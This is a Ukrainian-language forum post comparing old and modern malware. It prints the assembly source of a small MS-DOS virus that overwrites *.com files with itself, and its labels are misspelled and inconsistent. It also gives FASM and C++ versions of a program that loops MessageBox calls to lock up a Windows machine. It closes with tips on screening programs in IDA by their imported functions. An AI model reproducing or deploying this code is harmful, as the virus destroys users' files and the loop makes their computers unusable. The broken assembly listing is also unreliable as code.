Не зрозумів, а що не так? а як же require, include, require_once и include_once в php? Чи я не зрозумів? Взагалі я кросплатформений програміст всього і вся на землі, тільки ні в чому толком не розбираюся. Але мені здається що нічого дивного немає, ну крім того що треба встановлювати якийсь API.
От в асембелері зашквар:
▼код тестового віруса, на сучасних компах скоріше не працює
код взято з інтернету, коментарі прибрані
code segment
* *assume cs:code,ds:code
* *org 100h
toad proc near
fisrt fly:
*mov ah,4eh
find_file:
xor cx,cx * *
lea dx,comsig
int 21h
jc wart_growth
open_file:
mov ax,3d02h
mov dx,9eh
int 21h
eat_file:
xchg bx,ax
mov ah,40h
mov cx,offset horny - offset first_fly
lea dx,first_fly*
int 21h
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
wart_growth:
mov ah,09h
mov dx,offset wart
int 21h
cya: int 20h
comsig db "*.com",0
wart db 'Virus$'
horny label near
toad endp
code ends
end first_fly
ви подивіться не цей код, в ньому немає жодної функції, крім функцій ms-dos
а тепер згадайте, що всі сучасні віруси пишуть на fasm, зокрема з використанням WinAPI
наведу код найпростішої програми, яка блокує роботу комп'ютера на момент її запуску до її закриття за допомогою вбиття її процесу taskkill чи деспетчером задач. після вбиття програма з якої працювали останнім разом залишається навіки заблокованою:
include 'win32ax.inc'
.code
start:
invoke MessageBox,invoke GetForegroundWindow,"0","0",0
jmp start
.end start
це аналог програми
#include <windows.h>
int main(){while(true) MessageBox(GetForegroundWindow(), "", "", 0);return 0;}
і тепер порівняйте розміри після компіляції C++ аналога, розміри WinAPI malware і розміри MS-DOS віруса.
а також спробуйте розібратися в роботі. 2 останніх приклади - за запросто.
а перший - це зашквар!!!
але це ще не все. в мене на комп'ютері немає антивірусу. замість нього я використовую IDA Disassembler. я перевіряю таким чином підозрілі програми на наявність вірусів. це є більш дієвим, оскільки в нових базах антивірусів може не бути щойно випущених вірусів, не кажучи про старі бази. і от знайти перший вірус в програмі розміром 2 мегабайти, якщо він десь засів посередині в якій підпрограмі - да ніколи! це зашквар. перших 2 - да запросто! за 2 хвилини. йдемо на вкладку імпорти, дивимося які функції імпортовано. якщо є GetForegroundWindow() шукаємо всі пункти де його використовують. те саме і з windows socket функціями, які блокноту аж ніяк не потрібні і накінець функціями encrypt. Якщо в імпортах це слово зустріли то програму краще не запускати.